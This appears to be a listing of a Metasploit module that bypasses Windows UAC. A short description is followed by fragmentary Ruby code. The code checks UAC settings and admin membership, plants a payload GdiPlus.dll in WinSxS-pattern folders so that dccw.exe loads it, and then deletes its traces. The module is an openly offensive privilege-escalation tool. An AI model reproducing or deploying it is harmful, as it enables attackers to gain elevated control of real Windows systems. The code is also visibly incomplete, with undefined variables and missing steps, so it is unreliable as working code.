This Metasploit module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off by abusing the way "WinSxS" works in Windows systems. This Metasploit module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also).

def exploit # Validate that we can actually do things before we bother # doing any more work validate_environment! check_permissions!

# Get all required environment variables in one shot instead. This # is a better approach because we don't constantly make calls through # the session to get the variables. env_vars = get_envs('TEMP', 'WINDIR')

# Get UAC level so as to verify if the module will be successful case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end

# Establish the folder pattern so as to get those folders that match it sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" else targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" end

if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end

if directoryNames.size > 1 copy_payload_dll(directoryNames, dllPath) end end

# Copy our DLL to all created folders, the first folder already have a copy of the DLL def copy_payload_dll(directoryNames, dllPath) 1.step(directoryNames.size - 1, 1) do |i| if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...") end end end

# Check if the environment is vulnerable to the exploit def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

winver = sysinfo['OS']

case winver when /Windows (8|10)/ print_good("#{winver} may be vulnerable.") else fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") end

if is_uac_enabled? print_status('UAC is Enabled, checking level...') else unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end

# Creating the necessary directories to perform the DLL hijacking # Since we don't know which path "dccw.exe" will choose, we create # all the directories that match with the initial pattern def create_directories(payload_filepath, directoryNames) env_vars = get_envs('TEMP')

directoryNames.each do |dirName| if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0 fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"") end end end

# When a new session is obtained, it removes the dropped elements (files and folders) def on_new_session(session) if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') end remove_dropped_elements(session) end

# Remove all the created and dropped files and folders def remove_dropped_elements(session) droppedElements = []

if successfullyRemoved print_good("All the dropped elements have been successfully removed") else print_warning("Could not delete some dropped elements! They will require manual cleanup on the target") end endend